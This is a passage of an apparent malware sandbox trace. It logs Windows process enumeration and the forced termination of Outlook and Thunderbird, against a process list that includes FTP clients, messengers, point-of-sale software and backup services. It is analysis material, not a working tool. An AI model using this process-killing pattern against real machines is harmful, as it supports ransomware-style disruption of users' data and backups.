th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0119.780] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0119.780] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0119.781] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.781] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.782] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0119.782] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reasoninghappened.exe")) returned 1 [0119.783] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="kissing-song.exe")) returned 1 [0119.783] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nintendo_rankings_comfortable.exe")) returned 1 [0119.784] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="empire.exe")) returned 1 [0119.785] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yu_gb.exe")) returned 1 [0119.785] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter assisted.exe")) returned 1 [0119.786] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0119.786] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cheese.exe")) returned 1 [0119.787] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="okbidder.exe")) returned 1 [0119.787] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="culture.exe")) returned 1 [0119.789] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bills_accurately_mirror.exe")) returned 1 [0119.789] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="buddyatmosphereisle.exe")) returned 1 [0119.790] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="container tommy windsor.exe")) returned 1 [0119.790] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="removable.exe")) returned 1 [0119.791] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="storedpichunter.exe")) returned 1 [0119.791] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hans.exe")) returned 1 [0119.792] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="film.exe")) returned 1 [0119.792] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hewlett.exe")) returned 1 [0119.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="advanced vote.exe")) returned 1 [0119.793] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0119.794] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0119.794] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0119.795] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0119.795] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0119.796] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0119.796] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0119.797] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0119.797] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0119.798] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0119.799] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0119.799] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0119.800] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0119.800] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0119.801] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0119.801] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0119.802] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0119.803] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0119.804] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x840) returned 0x128 [0119.804] TerminateProcess (hProcess=0x128, uExitCode=0xffffffff) returned 1 [0119.805] CloseHandle (hObject=0x128) returned 1 [0119.805] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0119.806] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0119.807] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0119.808] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0119.809] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0119.810] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x890) returned 0x128 [0119.810] TerminateProcess (hProcess=0x128, uExitCode=0xffffffff) returned 1 [0119.810] CloseHandle (hObject=0x128) returned 1 [0119.810] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0119.811] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0119.812] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0119.813] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0119.814] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0119.815] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0119.816] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0119.817] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0119.817] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0119.818] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0119.856] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0119.858] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0119.859] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0119.861] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0119.862] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0119.863] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0119.864] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0119.865] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0119.866] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0119.867] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0119.868] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0119.869] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="determinationheathblah.exe")) returned 1 [0119.870] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructors simpsons.exe")) returned 1 [0119.871] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cylindermo.exe")) returned 1 [0119.872] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hockey.exe")) returned 1 [0119.873] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.874] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0119.874] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0119.875] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="captcha_visual.exe")) returned 1 [0119.876] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0119.878] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0119.878] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0119.879] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.880] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0119.881] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: lppe=0x22afd04*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wbengine.exe")) returned 1 [0119.883] Process32NextW (in: hSnapshot=0x12c, lppe=0x22afd04 | out: 